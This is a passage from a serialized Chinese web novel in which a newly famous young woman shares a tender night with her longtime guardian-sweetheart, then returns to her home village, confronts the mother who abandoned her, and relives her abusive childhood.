楚心柔茫然地摇了摇头。 杨老师大讲堂开始了,她拿捏着架势,“我渴了。” 楚心柔立即起身,去冰箱里拿了她爱喝的冷泡茶,杨绯棠翘着二郎腿,美滋滋地说着:“这攻啊,就是上面那个,受啊,就是底下那个,你能听明白吗?” 楚心柔别看在别的方面一点就透,可毕竟是这方面的小白,她得有点耐心。 长长的睫毛眨动,楚心柔认真的想了想,问:“所以,你是受,薛总是攻?” 杨绯棠:…… 怎么会有这么讨厌的人啊!!! 一句话,把杨老师刚刚拿捏好的气势给击碎了,她贴着楚心柔,窃窃私语:“我跟你说啊,心柔,别怪我没提醒你,这第一次可特别重要,你一定要在上面,要不一次被压,以后就次次被压了。” 楚心柔被她说的脸有些热,用看“流.氓”一样的眼神看她,“我和潇潇,不是你想的那样。” “那样是哪样?”杨绯棠翻了个白眼,“有本事你俩就一辈子别睡!” 眼神都拉丝了,还矜持呢? 这不是早晚得事儿? 早晚得事儿,也是需要时间的,可乔潇潇随着“小甜甜”组合的王炸式出道,真正体会到了什么叫一夜爆红。这和她高中时在三中被同学追捧的小打小闹完全不同,现在的她,走在街上随时可能引发骚动。 青心娱乐的宣传部门敏锐地捕捉到了这个现象。在他们的强烈要求下,向来不爱上网的乔潇潇不得不注册了微博账号。令人咋舌的是,她的账号第一天就暴涨五万粉丝,不到一周就突破了三十万大关。 这种热度甚至蔓延到了她的日常生活。每当她去画室或琴房时,总会被前来上课的学生们认出来,引发一阵阵“嗷嗷”的尖叫声。走在校园里,她经常被要求签名合影,无论走到哪里都有一道道炽热的目光追随着她。就连班主任都私下找她要签名,说是家里孩子非要不可。 乔潇潇对此哭笑不得。在这个颜值即正义的时代,她精致的五官、纤细的腰肢和马甲线都成了社交媒体上的热门话题。各种角度的偷拍照在网上疯传,粉丝们给她起了“人间水蜜桃”、“直角肩女神”“A4腰”等外号。 然而,伴随着名气而来的,还有源源不断的追求者。每天都有数不清的私信和表白,工作室门口总会出现不知名的鲜花和礼物。最夸张的是,有位富二代直接开着跑车来公司楼下等她,引来大批路人围观拍照。 乔潇潇是最烦这种了,那段时间脸色都不好,楚心柔看她这样,想了想:“前几天,你不是说感觉大伯不对劲儿要回去看看么?” 乔潇潇有点犹豫:“可是,现在还有这么多事儿没有处理,我……” 楚心柔伸手抚了抚她的长发,指尖温柔地穿过发丝:“没事儿的,热度总会过去的,青心只要抓住这一波宣传,冲上去后自然就会稳定了,有很多东西,尽人事听天命。” “青心现在和以前不一样了,你也要适应管理者身份的转变,不能让工作把自己拖垮,知道么?” “嗯。” 楚心柔的话,总是能让乔潇潇绷紧的神经放松,缩在姐姐的怀里,嗅了嗅她身上熟悉的香气,小声问:“这次,你不生气了?” 她还记得上次因为甜甜的事,姐姐给她吹头发时都气得揪她头发了。这次闹出这么大动静,姐姐反而这么温柔。 楚心柔轻笑出声,她用手戳了戳潇潇的脸颊:“我在意的是你的态度。” 她的态度。 乔潇潇有些走神,思绪飘回昨日的琴房。杨绯棠倚在钢琴旁,琥珀色的酒液在杯中轻晃,目光却始终停留在她抚琴的指尖上。 “哎,真是暴殄天物。”杨绯棠突然摇头轻叹,语气里带着说不出的惋惜。 乔潇潇指尖一顿,琴音戛然而止。“我弹得有这么差?”她蹙眉,虽然自知琴艺平平,但也不至于让杨姐姐这般失望吧? 杨绯棠看着眼前这个懵懂的小姑娘,忍不住扶额。她放下酒杯,突然倾身向前:“潇潇,杨姐姐问你句话,要老实回答。” 乔潇潇挺直腰背,一脸天真:“问啊,我什么时候骗过你?” “你对心柔——”杨绯棠眯起眼睛,一字一顿道,“就真的只有敬畏,一点都不……馋她身子?” “当!” 乔潇潇的手重重砸在琴键上,脸颊瞬间烧得通红,“你、你问这个做什么?” 杨绯棠轻晃着酒杯,发出意味深长的“啧啧”声:“这么多年了,还跟杨姐姐见外?” 并不是见外。 只是……这些话真的难以启齿。 沉默了半天,就在杨绯棠都要放弃这个话题的时候,乔潇潇突然抬起头,认真地看着杨绯棠说:“我第一次意识到自己喜欢姐姐,是因为做了一场有关她的春.梦。” 杨绯棠:…… 不愧是年轻人,要不就不摸方向盘,一旦摸了就把车直接开上告诉。 “所以,怎么能不馋呢?只是……她是我姐姐啊。” 这么多年,她们之间已经习惯了这样的相处模式,潇潇怕陡然改变,姐姐会承受不了。 杨绯棠了解她,知道潇潇在想什么,想了想说:“我觉得——” 乔潇潇屏住呼吸看着她,认真聆听杨绯棠的想法。 杨绯棠:“justdoit。” 乔潇潇:…… 楚心柔总是把乔潇潇当成长不大的孩子,也有一点分离焦虑症,不放心地嘱咐着。 “回去后,不能贪凉,一天天吃冰棍,知道么?” “嗯。” “你大伯是一个心事重的人,他如果不对你说,肯定是有什么难言之隐,你不要着急追问。” “好。” “糯糯几号放假,要不要带她一起去?” “老师说她最近总溜号,也不知道怎么了,问也不说,不让带。” “嗯,那你自己回去带一个行李箱就好。” …… 乔潇潇整个人都陷在楚心柔温暖的怀抱里,耳边*是姐姐轻柔的絮语,鼻间萦绕着熟悉的淡雅香气。她只觉得一颗心被泡在蜜糖里,甜得发颤。纤细的手臂不自觉地收紧,将楚心柔的腰身搂得更紧了些。 “姐姐,她们都说我是A4腰呢。”乔潇潇的指尖沿着楚心柔的腰线轻轻描摹,“可我觉得,你的腰才最漂亮。” 楚心柔的腰身纤细得惊人,薄薄的衣料下,能清晰感受到骨骼的轮廓。 乔潇潇的拇指与中指轻轻一拢,几乎能丈量出那截腰肢的尺寸,瘦得仿佛稍一用力就能折断。 楚心柔正低头在手机上认真记录:“内衣、防晒霜、充电宝” 她的话音未落,突然倒吸一口气,乔潇潇的指尖不知何时已经探入衣摆,触到了她腰侧裸露的肌肤。 乔潇潇对天发誓,她刚开始真的只是在感慨测量,但那细腻的触感太过美好,让她像是着了魔。指尖在姐姐细腻如绸的肌肤上流连,从腰侧缓缓上移,感受着每一寸肌肤下微微颤抖的悸动。 “潇潇……别……” 楚心柔的声音染上了几分颤抖,她下意识想要躲闪,却被乔潇潇双手牢牢扣住腰肢。纤细的手腕被轻易制住,整个人如同被捕获的鱼儿,只能无力地轻颤。 乔潇潇居高临下地凝视着她,四目相对的瞬间,空气仿佛凝固了。 楚心柔的睫毛轻颤着,在眼下投下一片摇曳的阴影,唇瓣微启却再发不出声音。 手机从指间滑落,在床单上发出轻微的闷响。 【作者有话说】 说二更就二更! 87 第87章 ◎“潇…潇潇……”她的声音发颤,像是哀求,又像是无措的纵容。◎ 楚心柔的手被牢牢攥住,乔潇潇居高临下地凝视着她,眼底翻涌的渴望终于撕去了伪装,随着摇曳的幽暗灯光,铺天盖地地压了下来。 曾几何时,她们之间总是楚心柔以温柔长者的姿态掌控着一切,而乔潇潇永远是那个仰望着她、依赖着她的女孩。 可此刻,天平已然倾覆。 楚心柔仰望着“陌生”的乔潇潇,所有的反抗与理智都化作一片空白,唯有胸腔里的心跳声震耳欲聋。 乔潇潇知道不能太急,姐姐今天没有推开她,已经是巨大的进步了。她放缓节奏,灼热的视线一寸寸碾过楚心柔泛红的脸颊,像是要记住她每一丝细微的表情。终于俯身时,她却只是用鼻尖轻轻蹭过那截雪白的脖颈,像一只试探的猫,既贪婪又克制。可仅是如此,温热的吐息扫过之处,楚心柔的肌肤便颤栗着泛起细小的颗粒,连呼吸都变得急促。 “潇…潇潇……”她的声音发颤,像是哀求,又像是无措的纵容。 “嗯。”乔潇潇低低应了一声,嗓音微哑,又用脸颊轻轻蹭了蹭那细腻的肌肤,像是确认她的存在。 耳鬓厮磨。 这不是梦吧? 能走到这一步,早超出她最旖旎的幻想。 可梦境哪有这般鲜活? 没有这般叫人战栗的体温,没有这样勾魂摄魄的吐息,更没有此刻抵在她掌心、正疯狂搏动的血脉。 她沉醉于这场试探,却不知身下人正经历着怎样甜蜜的煎熬。楚心柔攥紧床单的指节早已泛白,眼里是雾蒙蒙的无助。 当乔潇潇的唇终于贴上那截修长的颈项时,一只微凉的手突然抵住了她的肩膀。力道很轻,却让乔潇潇瞬间停下了所有动作。 只是,梦境成真的乔潇潇可不是什么好人,她故意将唇贴在楚心柔耳廓呢喃,“姐姐在发抖。”她满意地看着那白玉般的耳垂瞬间充血,“原来不是只有我会紧张。” 这样的乔潇潇,是楚心柔没有见过的,她怔怔地看了潇潇许久,缓和了些稍有点力气了,手轻轻的捏着她的脸颊,抛出个致命问题:“潇潇,你为什么这么熟练?” 一句话,简直是打散了所有涟漪,乔潇潇后背冷汗都要出来了,她赶紧摇头:“没有,没有我才不熟练。” 楚心柔眸色渐深,鼻间溢出一声意味深长,“嗯?” 还说不熟练?光是贴贴蹭蹭的就让她呼吸乱的不成节奏,要是熟练得什么样? 这一声“嗯”简直是催魂索命,乔潇潇仓皇的解释:“姐姐,我真的没有经验,也谈不上什么熟练……我只是……只是……” 她怕姐姐误会。 楚心柔纤细的手指捏着她的脸,“只是什么?” 乔潇潇的耳尖红得几乎要滴出血来,声音细若游丝:“我只是在梦里偷偷练习过很多次” 话音未落,空气骤然凝滞。 这可是名副其实的大实话了。 楚心柔的瞳孔微微放大,随即一抹艳色从耳根蔓延至颈间,连带着捏着乔潇潇脸颊的指尖都变得滚烫。她下意识想抽回手,却被对方慌乱地握住。 楚心柔将发烫的脸颊紧紧贴在她心口,长睫轻颤着扫过她的锁骨,激起一阵细微的战.栗。 “姐姐……?”乔潇潇屏住呼吸,回应她的是腰间骤然收紧的手臂。楚心柔把脸埋得更深了些,闷闷的声音透过衣料传来:“……不许说了。” 黑暗中,乔潇潇咧嘴笑了。 她看过姐姐千万种模样,可今天这样却是第一次。 晨光熹微时,楚心柔在乔潇潇的怀抱中醒来。 她恍惚了片刻,才意识到自己竟一夜无梦。久违的安眠让她浑身松软,整个人仿佛陷在温暖的云絮里,鼻尖萦绕着乔潇潇身上特有的淡淡香气,像是晒过太阳的棉絮。 楚心柔微微仰头,目光描摹着近在咫尺的睡颜。乔潇潇的唇角还噙着一抹浅笑,睫毛在晨光中投下细碎的阴影,想必在做美梦,这副模样看得她心尖发软。 指尖不受控制地抬起,轻轻抚上乔潇潇的脸颊。触到那片细腻肌肤的瞬间,昨夜的低语突然在耳畔回响。 “我……只是在梦里试过很多次……” 指尖顿时像被烫到般蜷缩,楚心柔慌忙收回手,却止不住绯色再度漫上双颊。她下意识往乔潇潇怀里缩了缩,将脸埋进对方肩窝。 这样的动作,让她看不到潇潇脸上的笑。 乔潇潇的确做了美梦。 或许是因为那颗干涸太久的心,终于被姐姐日复一日的温柔浸润,连梦都染上了甜味。 她梦见童年的自己。 那时候父母还在,阳光是金色的。妈妈怀抱着襁褓中的妹妹,笑容比春风还要柔软。爸爸让她骑在肩头,她手里攥着快要融化的棒棒糖,糖渍黏糊糊地沾了满手,却笑得比糖还甜。 可这梦境太过遥远了。 甜蜜的画面褪了色,像一张泛黄的老照片。黑白的影像里,连笑声都带着沙沙的杂音。明明是最温暖的记忆,却隔着时光的朦胧,怎么都看不真切。 这样的梦,乔潇潇小时候总做,尤其是刚到大伯家的时候,这些年,已经很久没有梦到过了。 她早上吃着面条,还跟楚心柔嘟囔:“这次回去,姐姐,我去给爸爸上个坟。” 楚心柔点了点头,柔声说:“我们潇潇长大了。” 以前,潇潇是怨恨父亲,怨恨母亲,怨恨一切的。 可如今,她什么都有了,又被姐姐这样的爱着,那些压抑在胸口的情绪,似乎都散去了。 就像是有些梦境,可以还原,可有些梦境,即使再真,也永远回不去了。 离开的时候,乔潇潇执意不让姐姐送行。 她怕自己会舍不得走。 楚心柔看穿她的心思,只是沉默地点点头,将整理好的行李递到她手边。送到门口时,还是忍不住轻声嘱咐:“早点回家。” 乔潇潇重重点头,一步三回头地上了车。车轮转动的那一刻,思念便如潮水般涌来,才离开楚心柔的第一步,她就已经开始想念了。 也不知道最近怎么了,潇潇总是会想起小时候的事儿。 还记得八岁的时候,她总是蜷缩在牛棚角落,数着稻草堆里的霉斑。冬夜的风从木板缝隙钻进来,在她冻僵的脚边堆起小小的雪丘;夏日的暑气蒸腾着粪便的酸臭,苍蝇在溃烂的伤口上产卵。可当大伯拽着她离开时,她仍死死扒着腐朽的门框,回头望着那个充满虱子的草窝,那是她童年有记忆之后第一个,也是最后一个能称之为“家”的地方。 之后的很多年,她像一粒被风吹散的蒲公英种子,在无数个屋檐下短暂停留,却再没能扎下根来。 直到遇见楚心柔。 姐姐总在玄关留一盏夜灯的人,用温热的掌心包裹住她冰凉的指尖,轻声地嘱咐:“早点回家。” 乔潇潇的胸口热热的,看着外面的风景,也像是被裹上了一层暖色。 它的心扎根了呢。 这大概就是心里有爱,有力量的感觉吧。 乔潇潇破碎的心,不仅仅被一点点拼凑好,在楚心柔的呵护下,见了阳光,感受到了雨水,连曾经最阴暗的角落,都开出了小小的花。 上了高铁,乔潇潇才给楚心柔报了平安,就接到了糯糯的视频电话。 糯糯最近上课走走神,情绪也不高,乔潇潇没少接到老师的“告状”电话,可她每次给糯糯打电话的时候,妹妹总是不说话,明明已经是个半大的孩子了,却还是用小时候那种受了委屈才会有的水汪汪的大眼睛看着她。 乔潇潇很担心,不仅一次追问她:“是不是受欺负了?到底发生了什么?” 糯糯就只是摇头,对她挤出一丝笑。 还在大了,有心事儿了,不再像是小时候那样,什么都依赖她了。 长姐如母的乔潇潇心里怪不是滋味的,就像是今天,视频接起来,糯糯还是不大开心的样子,目光幽幽地看着屏幕里姐姐姐半响,问:“是要回村了么?” 乔潇潇点了点头,看着她的眼睛,问:“你心情好点了吗?” 糯糯叹了口气,“谈不上好,也谈不上不好。” …… 暗自磨了磨牙,乔潇潇无比认真地问:“糯糯,你跟姐姐说句实话,你最近这么郁郁寡欢地折腾,是不是因给跟你那个小混血女朋友分手了?” 糯糯:…… 在姐姐心里,她就是这么个形象吗? 糯糯现在可不是以前那个小豆包的模样了,女大十八变,如今的她已经出落成小美女了,她和乔潇潇是完全的两种长相,与乔潇潇细长冷艳的丹凤眼不同,糯糯生着一双会说话的杏眼,眼尾微微下垂的模样像林间小鹿,饱满的唇瓣不点而朱,笑起来时漾着蜜糖般的光泽。 姐妹俩一个似清冷月光,一个如灼灼骄阳。 沉默了好半天,糯糯突然抬起手,冲乔潇潇比划了手语。 ——姐姐,我爱你。 这样突然起来的“表白”,让乔潇潇愣住了,加上糯糯使用的是手语,更是让她有些懵懵的。 小时候每次挨打后乔潇潇蜷缩在墙角时,每次被赶出家门又浑身湿透地回来时,那个小小的身影会第一时间扑进她怀里。 糯糯总是一边掉眼泪,一边固执地比划着这个手势,曾经,这个最简单的手势,是潇潇生命里最温暖的救赎。后来,糯糯大了,就很少这么直白热烈了。 挂了电话。 乔潇潇心里不安,她看着窗外的风景,心像是长了野草一样,静不下来。 妹妹……到底怎么了? 要说糯糯在学校里,受到老师的保护,身边都是一群不大的孩子,就她那个性格,也不大可能再被欺负了。 能有什么事儿? 难道是大伯? 乔潇潇开始胡思乱想,甚至在想,前一阵子乔半山总是咳嗽,是不是肺有什么问题,难不成是什么大病…… 就这么一路不安的想到了下车,乔潇潇又换成了大巴,车轮碾过最后一段山路时,夕阳已经沉到了远山的肩头。 乔潇潇拎着行李跳下大巴,扑面而来的是混合着稻香的晚风。 万柳村的黄昏像一幅被晕染的水墨画,黛青色的远山衔着橘红的落日,蜿蜒的田埂上散落着归家的农人,几只白鹭掠过金黄的稻浪,翅膀尖儿沾着晚霞的碎光。 她深吸一口气,泥土的芬芳里还带着童年记忆中的味道。 这条乡间小路似乎从未改变,路边歪脖子柳树依然挂着那个生锈的铃铛,风一吹就叮当作响。 只是当年需要踮脚才能摸到的枝桠,如今已垂手可及。 乔潇潇远远就看见那个熟悉的身影,乔半山正蹲在老槐树下抽旱烟,烟袋锅里的火星忽明忽暗。她不由得加快脚步,行李箱的轮子在石子路上发出欢快的声响。 “大伯!” 乔半山闻声抬头,脸上的皱纹瞬间舒展开来。他连忙在鞋底磕了磕烟袋,三步并作两步迎上去,接过她手里的行李,“回来了,潇潇。” 他还是老样子,第一时间打量乔潇潇:“是不是又长个了?” 这些年潇潇长的太快了,已经快追上她了。 乔潇潇笑了,看大伯气色很好,眉间的川字纹淡了许多,笑了:“我都大学了,还长高呢?” 她早不是小时候的模样了。 现如今,她已经是名副其实的一家之主了。 “她呢?” 在路上,提起黄素兰,乔潇潇也不再畏缩,一声“她呢?”就像是在提一个不相干的人。 乔半山重新点燃烟袋,吐出一口青烟,“老样子,你回来,就躲回娘家去了。” 之前,乔潇潇回来,黄素兰只是会去邻居家聊聊天唠唠嗑,打发一下时间就回去,俩人井水不犯河水,可现如今,乔潇潇帮着村子里卖柑橘,拓宽网络平台,还帮村子里修了很重要的主路,曾经的村民嘴里的瘟神,已经成了万柳村最为出息的人了,谁还敢收黄素兰在家里?现在哪个见着她不是白眼翻上天,她都快要在村子里待不下去了。 乔潇潇点了点头,不多说,一路上,有不少村民跟潇潇打招呼。 “潇潇回来了?” “哎呀,一会儿来三婶家吃饭。” “潇潇,我前几年在微博热搜上看到你了,厉害了啊!” “那可是,是咱们村的骄傲了!” …… 此起彼伏的乡音里,乔潇潇恍惚想起多年前那个雨天,她浑身湿透地站在村口,却没有一个人愿意收留。 扪心自问。 她不是一点怨恨都没有的。 但是楚心柔曾经对她说过:“潇潇,你要知道,这个世界就是这样,踩低捧高,不仅仅是对你,对所有人都是如此。” 如果不是姐姐,从小的环境,不知道会让潇潇扭曲成什么样。 可现如今,她能对着所有人微笑,点头示意,愉快的打招呼。 乔半山话很少,像是有什么心事儿,乔潇潇问了,他就是老样子,也不吭声,不看潇潇。 潇潇到了家之后,还是先去隔壁,敲开了王奶奶的门。 听说潇潇要回来之后,王奶奶这几天都把拐杖就放在炕边,听到点动静就要出去看看,是不是潇潇。 “奶奶,我回来了,给你买了营养品!” 当年那“一饭之恩”真的被乔潇潇记到现在,无论什么时候回来,她都要来奶奶家看看。 王奶奶笑的眼角的皱纹都疏散开了,她握着潇潇的手不放开,老人家么,孤单寂寞,就想要跟年轻人多聊聊。 她们说了大半个小时,大多都是围绕青心,围绕王宁的。 王奶奶虽然不明白,但是光是听潇潇说说,就乐的假牙都露出来了。 说到最后,她突然小心翼翼地往门外看了看,又看潇潇,压低声音:“潇潇,你知道了么?” 乔潇潇笑眯眯地看着奶奶,以为她说王宁姐姐加工资或者升职的事儿,随口说:“当然知道了。” 王奶奶打量着她的脸色,看她满面的笑容,心里了然,知道她想岔了。 也不多说,王奶奶只是用力地握了握乔潇潇的手,不放心地嘱咐:“有什么事儿,就来奶奶这儿啊。” …… 从奶奶走出来,乔潇潇愣了好半天,想想奶奶的话中有话,她再想想糯糯的欲言又止,以及大伯的沉默,怎么着都觉得心里不安。 她决定回家,好好找大伯问问。 可当她走到家门口,看到屋檐下站着的那个陌生又熟悉的女人时,整个人犹如雷劈,僵在了原地。 【作者有话说】 她回来了。 88 第88章 ◎将温热的唇轻轻落在她的额头上。◎ 在潇潇的童年里,有一抹既温暖又残酷的颜色。 说是温暖,是她曾经感受过这人间最温柔的爱,说是残酷,是在抽离后,她彻底的跌入了万丈深渊,各种殴打、咒骂、敌意全都像是刀子一样飞了过来。 乔潇潇死死地盯着屋檐下的女人,她浑身颤抖,眼泪通红,耳边呼啸着各种声音。 ——妈妈爱你,我的宝宝。 对不起潇潇……妈妈没有办法了…… 她是个瘟神!因为她,她妈才走的,要不然怎么会同样两个女儿,把妹妹带走了,把她扔下了! 她现在活的人不人鬼不鬼的都是罪有应得!她妈要是真想着她,怎么会这么久都不来找她? …… 王素站在乔家老宅斑驳的屋檐下,满眼的焦虑,她已经等了太久,乔半山始终冷着脸不让她进门,也不透露有关潇潇的任何,她只能就这么等下去。 时间一分一秒地流逝,王素的心像是被一根细线吊着,一点点往下坠。风裹着寒意钻进衣领,她的指尖开始发麻,连带着胸腔里的温度也渐渐流失。 她忍不住再次环顾四周,目光扫过巷口那棵歪脖子老槐树时,猛地僵住了。 树影下立着一道纤细的身影,红着眼,死死盯着她。那一瞬间,王素的心脏像是被人狠狠攥住,血液轰然冲上耳膜。 泪水瞬间模糊了视线。她颤抖着抬手,想要擦去眼前的朦胧,却又不敢放下,生怕一眨眼,那人就会消失。 这真的是……潇潇吗? 记忆里那个瘦瘦小小、总是怯生生拽着她衣角的小女孩,如今竟已长成了这样清冷倔强的模样。那修长的身形、冷酷的眼神,陌生得让她心尖发颤。 王素张了张嘴,喉咙发紧,那声呼唤几乎是从胸腔里挤出来的:“……宝宝?” 两个字,像一把钥匙,“咔嗒”一声撬开了记忆的闸门。乔潇潇的眼泪瞬间决堤,滚烫的泪水顺着冰冷的脸颊蜿蜒而下。可她仍然固执地昂着头,目光死死盯着前方,仿佛眼前只是一团空气。 脚步声在青石板上敲出清脆的节奏,每一步都像是踩在王素的心尖上。随着距离的缩短,王素能清晰地听见自己剧烈的心跳声。 乔潇潇原本想要把她当做空气的,可擦肩而过的瞬间,一缕熟悉的薄荷香飘入鼻尖,那是妈妈的味道,是童年夜里抱着她入睡时,枕边萦绕的安心的气息。 乔潇潇的眼泪根本就控制不住,她的牙齿深深陷进下唇,血味在口腔里弥漫,却依然止不住浑身的颤抖。 …… 乔潇潇把自己扔到了床上,锁上了门,封闭了一切。 经过了三年无微不至的呵护,一点点愈合的伤疤,此时,又被人轻易的揭开,露出里面还未长好的嫩肉。 她为什么要回来?怎么还会回来? 当初,在乔潇潇蜷缩在牛棚里,冻得哆哆嗦嗦的时候,她在哪儿? 在自己被父亲一日一日的酗酒殴打,浑身上下没有一处好地儿,几乎要活不下去的时候,她在哪儿? 当她被大伯带回来,被黄素兰用鸡毛掸子一次又一次的追打,饿到眩晕,哭到眼泪都干了的时候,她在哪儿? 当全村人都看不起她,指指点点说她是瘟神,是扫把星的时候,她在哪儿? 当同龄人身边都有父母陪伴,开心的去高中时,她只身一人,背着行李满是不安走在校园里时,她又在哪儿?! …… 世界,陷入了无尽的黑暗。 乔潇潇闭上了眼睛,紧紧地抱住被子,呢喃着:“姐姐……” 王素早在半个月前就回来了,她是无意间,在网上看到热/搜的词条,还以为是重名,就点进去看了看,当看到照片上满是灿烂笑容的女孩时,她整个人犹如电击。 …… 王素这次回来的目的很明确简单。 她要带走潇潇。 这么多年的打拼,她早已不是当初那个被人追着打骂的农村妇女了,她这十年血雨腥风的打拼,她现在已经拥有了自己的公司,公司下有成员五百多人。 为了女儿,她也算是这十年来,唯一一次长休的时候了。 她在来之前,已经把潇潇这些年的情况详细调查了一番,看到底下人带来的材料,她泪如雨下。 她第一次来找乔半山的时候,乔半山就没给她好脸,“你当年说跑就跑,孩子吃了这么多年的苦,现在你想带走就带走?” 王素苦笑着摇头:“当年我为什么跑,你不知道么?” 如果不是被丈夫打骂的实在没办法,谁愿意丢下自己的骨肉。 乔半山闷头抽烟,“这么多年,你去哪儿了?现在才知道回来?” 王素是实在不愿意与他废话,她含着泪,一字一吐地说:“我是一定要带走她的。” 乔潇潇烧得昏天黑地。 汗水浸透了被褥,黏腻地贴在皮肤上,像一层挣脱不开的茧。她陷在混沌的梦境里,意识浮浮沉沉,像是被潮水推着,一次又一次地撞向记忆的礁石。 她梦见王素。 女人温柔地俯下身,发丝垂落,轻轻蹭过她的脸颊。唇瓣贴在她额头上,温热而柔软。 “宝宝乖,妈妈爱你……” 下一秒,画面扭曲。 酒瓶砸碎的刺响,乔万山暴怒的吼声,拳头和皮鞋像雨点般砸在王素身上。她蜷缩在墙角,血从嘴角蜿蜒而下,却仍死死搂着乔潇潇,声音支离破碎:“妈妈……实在受不了了……实在受不了了……” 再后来,是冰凉的铁链。 乔潇潇被拴在客厅角落,像一条狗。链子很短,短到她只能跪着,爬着,连站起来的资格都没有。乔万山醉醺醺地踢翻她的饭碗,“跑啊,再跑啊,和你妈一样贱!” 最后,是刺眼的光。 门被踹开的巨响,警察的脚步声,一双温暖的手将她抱起来。 “小朋友,你妈妈走了……你爸爸有没有虐待你?” 她八岁,懵懂地仰着脸。 她不知道什么叫“虐待”,她只知道没有人要她了。 …… 王素始终站在门外,单薄的身影在寒风中固执地伫立着。她裹紧了大衣,却掩不住微微发抖的肩膀。 屋内,乔潇潇垂着头坐在沙发上,乔半山局促地搓着手,小心翼翼地开口:“潇潇,你……” “她什么时候回来的?”乔潇潇突然抬头,声音轻得几乎听不见。 乔半山叹了口气:“快一个月了。” 王素变化很大,那个曾经憔悴的女人如今一身得体套装,举手投足间尽是优雅从容。他几乎认不出这是当年那个仓皇逃离的女人。 王素这次显然是有备而来。她太了解乔半山的软肋,每一句话都直指要害:“我能给她的,你给不了。之前走的时候,把她留下是我的错,但现在,我要补偿我的女儿。”她的声音轻柔却坚定,“这些年谢谢你照顾潇潇,但她终究是我的骨肉。” 她不是没有想过回来。 可刚开始,王素害怕……她只要一回来,看见女儿哭泣的样子,就会再也没办法离开,也害怕好不容易跑出去的自己,被乔万山抓住,真的如他说的那样打断她的腿。 过去那种犹如地狱般的生活,她过怕了。 后来那几年,王素几乎把自己的一条命都压在了生意上,她没白天没黑夜的忙碌着奔波着,跟老天赌气一样,非要做出一番事业。 再后来,事业有了起色。 她动过回去的念头……可最终,胆怯了。 她不敢面对女儿的眼睛——那双眼里会盛满失望吗?还是深不见底的怨恨? 她心知肚明,自己走后,潇潇跟着那个禽兽不如的父亲,能活下来已是侥幸。女儿怎么可能不恨她? 王素把乔潇潇丢到了心底的一角,不再去触碰。 这一次,如果不是看到了乔潇潇的照片,她或许还没有勇气回来。 听说乔万山死了,王素心里没有半分痛快,只有隐隐的闷痛,像钝刀磨着心脏,她不知道,一个孩子,母亲跑了,父亲死了,她该怎么面对。 除了村子里上了岁数的老人,还能认出她来,年轻的面孔,基本都不知道她是谁,只以为是外村的人,还以为她是来旅游的。 潇潇不仅帮着村子里修了路,她现在跟政府合作,想要开发一下万柳村的旅游业。 她现在可不是村民眼里的瘟神了,过去的苦与痛,没有人提了,到成了金光闪闪的年轻有为的企业家。 王素很容易就打听到了潇潇,无论是老人还是年轻人,都对她赞不绝口,说她是村子里的奇迹。 她听到后,以为女儿这些年过得还好,舒了一口气,乔潇潇那些痛苦不堪回首的过去,就这么所有人轻易被磨灭了。 这让她心底悄然生出一丝希冀。或许,还不算太晚? 甚至,王素还悄悄去了糯糯的学校,刚开始,并没有告诉糯糯自己的身份,带她去吃了一顿KFC,打听了一下女儿的喜好。 糯糯很可爱,跟她有说有笑的,提起姐姐的时候,两个眼睛里更是亮晶晶的,对姐姐那是满满的崇拜。可当听说她是姐姐的妈妈时,糯糯拿着薯条的手僵住了,怔怔地看着她。 王素柔声说:“你应该叫我婶婶。” 糯糯盯着她看了半响,突然就失态情绪激动地把一包薯条都狠狠地砸向了她。 薯条四射间,在周边人的惊呼声中,她愤怒地比划着。 ——我叫你奶奶个球! 本以为小孩子比较好突破的王素狼狈地在糯糯这里吃了闭门羹。 她不死心,想要直接去找女儿的,可是也不知道潇潇背后有什么力量什么人,她想要查她的信息,怎么都查不到。 就像是有一张大网,将潇潇紧紧护着密不透风,当王素再想通过别的方法查的时候,她发现公司楼下停了一辆不同寻常的黑色轿车。 这些年的打拼,让她非常的警觉,她停手了,选择回万柳村等着女儿。 晚上,乔潇潇接到了姐姐的电话,不想让姐姐担心,她已经极力克制声音的异样了,却还是被楚心柔一下子听出了不对劲儿,“你怎么了?” 乔潇潇握着手机的手紧了紧,“没事儿,今天睡得有点长,嗓子不舒服。” 是么? 楚心柔想了想,“那我们视频。” “姐——” 忙音突兀地切断了她未出口的推拒。屏幕亮起的瞬间,乔潇潇手忙脚乱地拢住散乱的额发,指尖仓促地拭过发红的眼角,又用力眨了眨酸胀的眼睛。 视频接通时,楚心柔的目光像把刀,直直刺穿她强撑的伪装,冷冷地问:“到底怎么了?” …… 那些太过痛苦的过往,像深埋在血肉里的玻璃碎片,轻轻一碰就会渗出鲜血。 乔潇潇不想让姐姐介入,不仅怕她担心焦虑,更因为那些记忆是刻在她骨子里的耻辱,是永远无法愈合的溃烂伤口。 镜头前,她勉强扯出一抹笑,嘴角的弧度像是被线硬生生扯起来的:“姐姐,我没事儿的。” 楚心柔凝视着她,目光沉静却不容逃避。平日里纵容她胡闹的温柔,此刻化作了不容抗拒的坚定。 沉默在两人之间蔓延。乔潇潇眼里的光一点点暗下去。 良久,楚心柔轻声开口,声音很轻,却字字清晰:“潇潇,如果你不想我插手,我尊重你的选择。"她顿了顿,“但作为想要跟你共度一生的人,我想——我至少该知道,是什么在折磨你。” 共度一生的人…… 那一刻,乔潇潇心底的情绪奔涌而出,她咬着唇,眼泪顺着脸颊滑落。 …… 凌晨五点,夜色尚未褪去。乔潇潇睁着酸涩的双眼,在昏黄的床头灯下看见一个熟悉的身影。她以为自己熬了一整夜终于出现了幻觉,楚心柔就这样毫无预兆地站在她的床前。 窗外的风裹挟着深秋的寒意,楚心柔的黑色风衣上还沾着夜露的湿气,没有人知道她在这么短的时间内是怎么赶过来的。 她静静地凝视着乔潇潇,睫毛上凝结的细小水珠在灯光下闪烁。片刻的沉默后,楚心柔轻声吐出一个字:“是我。” 这声音像一柄小锤敲碎了乔潇潇的恍惚,“姐姐……?” “嗯。” 楚心柔利落地脱下风衣,衣料摩擦发出窸窣声响。她掀开被子时带进一阵冷风,却在下一秒将乔潇潇整个拥入怀中。那怀抱带着夜行的凉意,却又在相贴的肌肤间迅速燃起令人安心的温度。 姐姐一直是隐忍的,不善于表达情绪的。 可这一次,她毫不吝啬的将这个满身伤痕的女孩抱紧了怀里。 在熟悉又温暖的怀抱里,乔潇潇紧绷了一天的情绪,彻底的释放,她的眼泪不停的流,紧紧地抓着楚心柔的胳膊:“姐姐……姐姐……” 她呜咽着唤着,声音破碎得不成样子。那些压抑的委屈与恐惧,此刻都化作滚烫的泪水,在楚心柔的颈窝处汇成一片温热。 